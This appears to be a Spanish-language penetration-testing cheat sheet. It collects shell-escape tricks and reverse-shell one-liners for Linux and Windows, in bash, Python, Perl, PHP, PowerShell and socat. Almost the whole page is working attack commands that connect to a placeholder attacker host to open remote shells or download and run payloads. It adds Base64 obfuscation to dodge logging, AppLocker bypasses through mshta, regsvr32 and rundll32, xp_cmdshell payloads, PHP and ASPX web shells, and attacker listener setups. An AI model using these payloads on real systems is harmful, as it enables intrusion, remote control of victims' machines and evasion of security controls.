Skip to content

Shell Spawning & Reverse Shells


Linux — Shell local

sh / bash

bash
/bin/sh -i
/bin/bash -i
bash
bash
# Con -p se preservan los privilegios efectivos (util si el binario tiene SUID)
/bin/bash -p

Python

bash
python3 -c 'import os; os.system("/bin/sh")'
python -c 'import os; os.system("/bin/sh")'

# Con PTY asignada, la shell resultante es mas estable
python3 -c 'import pty; pty.spawn("/bin/bash")'

Perl

bash
perl -e 'exec "/bin/sh";'

Ruby

bash
ruby -e 'exec "/bin/sh"'

Lua

bash
lua -e 'os.execute("/bin/sh")'
lua5.1 -e 'os.execute("/bin/sh")'

AWK

bash
awk 'BEGIN {system("/bin/sh")}'

Find

find permite ejecutar comandos por cada resultado encontrado con -exec. Si el binario tiene SUID o se ejecuta en un contexto privilegiado, la shell heredara esos privilegios.

bash
find . -exec /bin/sh \; -quit
find / -name .bashrc -exec /bin/bash \;

VIM / Vi

bash
vim -c ':!/bin/sh'
vi -c ':!/bin/sh'

Desde dentro del editor:

vim
:set shell=/bin/bash
:shell
vim
:!/bin/bash

Nano

Desde dentro de nano, Ctrl+R seguido de Ctrl+X abre un prompt de ejecucion de comandos:

^R^X
reset; sh 1>&0 2>&0

More / Less / Man

Cuando se ejecuta un paginador como more o less con ciertos permisos (por ejemplo via sudo), es posible escapar a una shell ejecutando comandos internos:

!/bin/sh

Tambien se puede pulsar v para abrir $EDITOR (generalmente vim) y desde ahi spawnear una shell.

Nmap

Las versiones anteriores a 5.21 incluian un modo interactivo:

bash
nmap --interactive
nmap> !sh

Script

script graba sesiones de terminal pero como efecto secundario asigna una PTY, lo que convierte una shell sin terminal en una funcional:

bash
script /dev/null -c bash
script -q /dev/null /bin/bash

Socat

Si socat esta disponible en el sistema, puede asignar el stdin directamente:

bash
socat stdin exec:/bin/sh

Busybox

En contenedores minimos o sistemas con pocos binarios, busybox suele estar presente e incluye su propio interprete de shell:

bash
busybox sh
busybox ash

Linux — Reverse Shells

El atacante debe tener un listener activo antes de ejecutar cualquiera de estos payloads. Ver seccion Listeners del atacante.

bash — /dev/tcp

/dev/tcp es un pseudo-dispositivo de bash que permite abrir conexiones TCP sin ningun binario externo. No esta disponible en todos los shells (funciona en bash, no en sh ni dash).

bash
bash -i >& /dev/tcp/IP/4444 0>&1

Para contextos de RCE donde el comando se interpreta con comillas o caracteres especiales:

bash
/bin/bash -c 'bash -i >& /dev/tcp/IP/4444 0>&1'

Variante UDP (util si el firewall permite salida UDP pero no TCP):

bash
sh -i >& /dev/udp/IP/4444 0>&1

bash — mkfifo (named pipe)

Crea un pipe con nombre, lo usa para redirigir stdin y stdout hacia netcat. Funciona en shells que no soportan /dev/tcp y en sistemas donde bash no esta disponible.

bash
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc IP 4444 > /tmp/f

Sin netcat, usando /dev/tcp:

bash
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 >/dev/tcp/IP/4444 </tmp/f

sh pura — file descriptor

Para shells muy restringidas que no son bash:

bash
0<&196; exec 196<>/dev/tcp/IP/4444; sh <&196 >&196 2>&196

Python

bash
python3 -c '
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("IP",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
'

Con PTY asignada desde la propia reverse shell (la shell ya llega interactiva sin necesitar upgrade):

bash
python3 -c '
import socket,os,pty
s=socket.socket()
s.connect(("IP",4444))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/bash")
'

Perl

bash
perl -e 'use Socket;$i="IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby

bash
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("IP","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

PHP

bash
php -r '$sock=fsockopen("IP",4444);$proc=proc_open("/bin/sh",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'

Netcat

Con la flag -e (disponible en nc clasico, no en la variante OpenBSD):

bash
nc -e /bin/sh IP 4444
nc.traditional -e /bin/bash IP 4444

Si la version de nc no tiene -e, se puede usar doble conexion:

bash
nc IP 4444 | /bin/bash | nc IP 4445

Socat

Genera una reverse shell con PTY completa en un solo comando. Es la opcion mas comoda si socat esta disponible.

bash
socat tcp-connect:IP:4444 exec:/bin/sh,pty,stderr,setsid,sigint,sane

El listener correspondiente en el atacante:

bash
socat file:`tty`,raw,echo=0 tcp-listen:4444

AWK

bash
awk 'BEGIN{s="/inet/tcp/0/IP/4444";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

Node.js

bash
node -e '(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);var c=new net.Socket();c.connect(4444,"IP",function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c)});})()'

Linux — Sin curl/wget

Escenarios donde el sistema no tiene herramientas de descarga instaladas.

/dev/tcp — Ejecutar script en memoria

Descarga y ejecuta un script bash directamente sin escribir nada en disco. Solo funciona con HTTP en el puerto 80.

bash
exec 3<>/dev/tcp/IP/80
printf 'GET /shell.sh HTTP/1.0\r\nHost: IP\r\n\r\n' >&3
bash <&3

/dev/tcp — Descargar archivos de texto

Descarga el cuerpo de la respuesta HTTP descartando los headers. Util para scripts de texto.

bash
exec 3<>/dev/tcp/IP/80
printf 'GET /file.sh HTTP/1.0\r\nHost: IP\r\n\r\n' >&3
while IFS= read -r line; do [[ "$line" == $'\r' ]] && break; done <&3
cat <&3 > /tmp/file.sh
exec 3>&-
chmod +x /tmp/file.sh

/dev/tcp — Descargar binarios (pure bash)

La lectura de binarios en bash requiere manejo especial de bytes nulos. La siguiente funcion lo resuelve correctamente.

Fuente: pure-bash-bible — dylanaraps

bash
download() {
    IFS=/ read -r _ _ host query <<< "$1"
    exec 3<"/dev/tcp/${host}/80"
    printf 'GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n' "$query" "$host" >&3
    # Descartar headers HTTP
    while IFS= read -r line; do [[ "$line" == $'\r' ]] && break; done <&3
    # Leer body manejando bytes nulos (necesario para binarios)
    nul='\0'
    while IFS= read -d '' -r line || { nul=""; [[ -n "$line" ]]; }; do
        printf "%s%b" "$line" "$nul"
    done <&3
    exec 3>&-
}

# Uso
download http://IP/nc > /tmp/nc
chmod +x /tmp/nc
/tmp/nc IP 4444 -e /bin/sh

Esta funcion no soporta HTTPS. Para HTTPS se necesita un lenguaje de scripting.

Python — Descarga sin curl/wget

bash
# Guardar en disco
python3 -c "import urllib.request; urllib.request.urlretrieve('http://IP/file', '/tmp/file')"

# HTTPS con certificado auto-firmado
python3 -c "
import urllib.request, ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
urllib.request.urlretrieve('https://IP/file', '/tmp/file', context=ctx)
"

# Descargar y ejecutar en memoria
python3 -c "import urllib.request; exec(urllib.request.urlopen('http://IP/script.py').read())"

Perl — Descarga sin curl/wget

bash
# Con LWP instalado
perl -e 'use LWP::Simple; getstore("http://IP/file", "/tmp/file");'

# Sin LWP — sockets puros
perl -e '
use Socket;
socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
connect(S, sockaddr_in(80, inet_aton("IP")));
print S "GET /file HTTP/1.0\r\nHost: IP\r\n\r\n";
open(F, ">", "/tmp/file");
while (<S>) { print F $_; }
close(F);
'

Busybox — Descarga y shells en sistemas minimos

Busybox es un binario unico que incluye versiones reducidas de muchas utilidades Unix: wget, nc, sh, ash y mas. Es habitual encontrarlo en contenedores y sistemas embebidos.

bash
# Descargar archivo
busybox wget http://IP/file -O /tmp/file

# Reverse shell con nc de busybox
busybox nc IP 4444 -e /bin/sh
busybox nc -e /bin/sh IP 4444

# Shell local
busybox sh
busybox ash

# Reverse shell solo con ash y /dev/tcp (sin nc)
busybox ash -c 'ash -i >& /dev/tcp/IP/4444 0>&1'

Linux — Upgrade a TTY interactiva

Una reverse shell basica no tiene terminal asignada (no-TTY). Esto provoca que comandos como su, sudo, editores de texto o cualquier programa que use termios fallen o se comporten mal. El proceso de upgrade resuelve esto.

Python pty + stty

Es el metodo mas rapido y el que funciona en casi todos los sistemas.

En la shell de la victima:

bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Si no hay python3:
python -c 'import pty; pty.spawn("/bin/bash")'

Suspender la shell con Ctrl+Z para volver al terminal del atacante. Luego:

bash
stty raw -echo; fg

De vuelta en la shell de la victima, configurar el entorno:

bash
export TERM=xterm-256color
export SHELL=bash
stty rows 38 columns 116

Los valores de rows y columns deben coincidir con el tamano real del terminal del atacante. Para obtenerlos antes de suspender:

bash
stty size    # ejecutar en el atacante antes del Ctrl+Z

Script — si no hay Python

bash
script /dev/null -c bash

El resto del proceso es identico al de Python pty: Ctrl+Z, stty raw -echo; fg, export TERM, stty rows/cols.

Socat — TTY completa directamente

Si se puede subir o usar socat en la victima, este metodo da una TTY completamente interactiva sin ningun paso adicional.

En el atacante:

bash
socat file:`tty`,raw,echo=0 tcp-listen:4444

En la victima:

bash
socat tcp-connect:IP:4444 exec:/bin/bash,pty,stderr,setsid,sigint,sane

Si socat no esta en el sistema, se puede subir el binario estatico:

bash
# En el atacante — servir el binario
python3 -m http.server 80

# En la victima — descargar y ejecutar
wget http://IP/socat -O /tmp/socat && chmod +x /tmp/socat
/tmp/socat tcp-connect:IP:4444 exec:/bin/bash,pty,stderr,setsid,sigint,sane

Windows — Reverse Shells

PowerShell — TCP socket

One-liner completo. Establece una conexion TCP y envia/recibe comandos ejecutandolos con Invoke-Expression.

powershell
powershell -nop -ep bypass -c "$client=New-Object System.Net.Sockets.TCPClient('IP',4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

PowerShell — Cradle en memoria

Descarga y ejecuta un script PowerShell directamente en RAM sin escribirlo en disco. Esto evita que el binario sea analizado por el antivirus en tiempo de escritura.

powershell
powershell -nop -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://IP/shell.ps1')"
powershell -nop -ep bypass -c "IEX (IWR http://IP/shell.ps1 -UseBasicParsing)"

-UseBasicParsing es necesario en sistemas sin interfaz grafica porque evita la dependencia con el motor de Internet Explorer.

Para usar con Nishang Invoke-PowerShellTcp, anadir esta linea al final del script antes de servirlo:

powershell
Invoke-PowerShellTcp -Reverse -IPAddress IP -Port 4444

PowerShell — Payload en Base64

Codificar el payload en Base64 en UTF-16LE (el formato que espera PowerShell) permite evitar problemas con caracteres especiales en argumentos y elude algunos sistemas de logging basicos.

En el atacante (Linux):

bash
echo -n 'IEX (New-Object Net.WebClient).DownloadString("http://IP/shell.ps1")' | iconv -t UTF-16LE | base64 -w 0

En la victima:

powershell
powershell -enc <BASE64_AQUI>

PowerShell — Bypass de politica de ejecucion

La politica de ejecucion de PowerShell no es un control de seguridad real, es solo una preferencia de configuracion. Se puede obviar de varias formas:

powershell
powershell -ep bypass -c "..."
powershell -ExecutionPolicy Unrestricted -c "..."
powershell -ExecutionPolicy Bypass -File script.ps1

# Desde dentro de una sesion PowerShell
Set-ExecutionPolicy Bypass -Scope Process -Force

cmd.exe + nc.exe

Si nc.exe esta disponible en el sistema o se puede subir:

cmd
nc.exe -e cmd.exe IP 4444
nc.exe IP 4444 -e cmd.exe

Python (si esta instalado en Windows)

cmd
python -c "import socket,subprocess,os;s=socket.socket();s.connect(('IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['cmd.exe'])"

Windows — Sin PowerShell o entorno restringido

Estos metodos son utiles cuando PowerShell esta bloqueado por politica, AppLocker, o cuando solo se tiene acceso a cmd.exe o a binarios nativos del sistema.

mshta

mshta.exe ejecuta aplicaciones HTML (HTA). Al ser un binario firmado por Microsoft, suele estar en la lista blanca de muchas politicas de restriccion de aplicaciones.

cmd
mshta http://IP/payload.hta

Ejemplo de payload.hta:

html
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -ep bypass -nop -c IEX (New-Object Net.WebClient).DownloadString('http://IP/shell.ps1')", 0, True
</script>

Ejecucion inline sin archivo externo:

cmd
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://IP/shell.ps1')"",0,True")

wmic

wmic permite crear procesos de forma remota o local. Al ser una utilidad de gestion del sistema, a veces no esta sujeta a las mismas restricciones que PowerShell.

cmd
wmic process call create "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://IP/shell.ps1')"
wmic process call create "cmd.exe /c nc.exe IP 4444 -e cmd.exe"

regsvr32 — Squiblydoo

regsvr32 puede cargar y ejecutar un scriptlet COM desde una URL remota. Es un bypass clasico de AppLocker porque regsvr32.exe es un binario de confianza del sistema.

cmd
regsvr32 /u /n /s /i:http://IP/payload.sct scrobj.dll

Ejemplo de payload.sct:

xml
<?XML version="1.0"?>
<scriptlet>
<registration progid="test" classid="{AAAA0000-0000-0000-0000-000000000000}">
  <script language="VBScript">
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://IP/shell.ps1')"
  </script>
</registration>
</scriptlet>

rundll32

cmd
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://IP/shell.ps1')",0,True);

cscript / wscript — VBScript puro

Cuando no hay acceso a PowerShell pero si a cscript o wscript, se puede ejecutar un script VBScript que descargue y ejecute el payload.

shell.vbs:

vbscript
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd /c certutil -urlcache -f http://IP/nc.exe %TEMP%\nc.exe && %TEMP%\nc.exe IP 4444 -e cmd.exe", 0, True
cmd
cscript //nologo shell.vbs
wscript shell.vbs

Ejecutar desde UNC path — Sin escribir en disco

Si el atacante tiene un servidor SMB activo, se puede ejecutar el binario directamente desde la ruta UNC sin que aterrice en el disco de la victima. Esto evita deteccion por escritura en disco.

cmd
\\IP\share\shell.exe
\\IP\share\nc.exe IP 4444 -e cmd.exe
cmd
powershell -ep bypass -f \\IP\share\shell.ps1

Windows — Desde contextos específicos

SQL Server — xp_cmdshell

sql
-- PowerShell en memoria, sin tocar disco
EXEC xp_cmdshell 'powershell -ep bypass -nop -c "IEX (New-Object Net.WebClient).DownloadString(''http://IP/shell.ps1'')"';

-- Ejecutar binario desde SMB sin copiarlo al disco
EXEC xp_cmdshell '\\IP\share\nc.exe IP 4444 -e cmd.exe';

-- Descargar y ejecutar
EXEC xp_cmdshell 'powershell -c "(New-Object Net.WebClient).DownloadFile(''http://IP/nc.exe'',''C:\Windows\Temp\nc.exe'')"';
EXEC xp_cmdshell 'C:\Windows\Temp\nc.exe IP 4444 -e cmd.exe';

Las comillas simples dentro de xp_cmdshell deben escaparse duplicandolas (''). Cada par '' se convierte en una sola comilla ' que llega a PowerShell.

Si xp_cmdshell esta deshabilitado pero OLE Automation esta disponible:

sql
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;

DECLARE @OLE INT;
DECLARE @URL  VARCHAR(255) = 'http://IP/nc.exe';
DECLARE @Path VARCHAR(255) = 'C:\Windows\Temp\nc.exe';
EXEC sp_OACreate  'MSXML2.XMLHTTP', @OLE OUT;
EXEC sp_OAMethod  @OLE, 'open', NULL, 'GET', @URL, false;
EXEC sp_OAMethod  @OLE, 'send';
EXEC sp_OADestroy @OLE;

Web shell — PHP

php
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php $proc = proc_open($_GET['cmd'], [0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]], $pipes); echo stream_get_contents($pipes[1]); ?>

Invocar reverse shell desde la web shell:

http://victim/shell.php?cmd=powershell+-ep+bypass+-c+"IEX+(New-Object+Net.WebClient).DownloadString('http://IP/shell.ps1')"

# Via UNC, sin tocar disco
http://victim/shell.php?cmd=\\IP\share\shell.exe

Web shell — ASPX

aspx
<%@ Page Language="C#" %>
<%
  var cmd = Request.QueryString["cmd"];
  var proc = new System.Diagnostics.Process();
  proc.StartInfo.FileName = "cmd.exe";
  proc.StartInfo.Arguments = "/c " + cmd;
  proc.StartInfo.RedirectStandardOutput = true;
  proc.StartInfo.UseShellExecute = false;
  proc.Start();
  Response.Write(proc.StandardOutput.ReadToEnd());
%>

AppLocker — Rutas habitualmente permitidas

AppLocker suele bloquear la ejecucion desde directorios de usuario pero permite rutas del sistema. Si se puede escribir en alguna de estas, el binario puede ejecutarse sin restriccion:

C:\Windows\Temp\
C:\Windows\System32\
C:\Windows\SysWOW64\
C:\ProgramData\

Para ver las reglas activas de AppLocker:

powershell
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Listeners del atacante

Netcat

bash
nc -lvnp 4444
rlwrap nc -lvnp 4444       # con historial de teclado y flechas, mas comodo para shells Windows

Ncat

bash
ncat -lvnp 4444
ncat --pty -lvnp 4444      # asigna PTY directamente, util para shells Windows interactivas
ncat -lvnp 4444 --ssl

Socat — TTY completa

Da una TTY completamente interactiva desde el primer momento. Ideal cuando se usa el payload socat en la victima.

bash
socat file:`tty`,raw,echo=0 tcp-listen:4444

Metasploit — multi/handler

Util cuando el payload es un binario generado con msfvenom o cuando se necesita manejar multiples sesiones simultaneas.

bash
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/shell_reverse_tcp; set LHOST tun0; set LPORT 4444; set ExitOnSession false; exploit -j"

Referencia rapida

Shell basica Linux     →  rlwrap nc -lvnp 4444
TTY completa Linux     →  socat file:`tty`,raw,echo=0 tcp-listen:4444
Shell Windows basica   →  rlwrap nc -lvnp 4444
Shell Windows con PTY  →  ncat --pty -lvnp 4444
Multiples sesiones     →  Metasploit multi/handler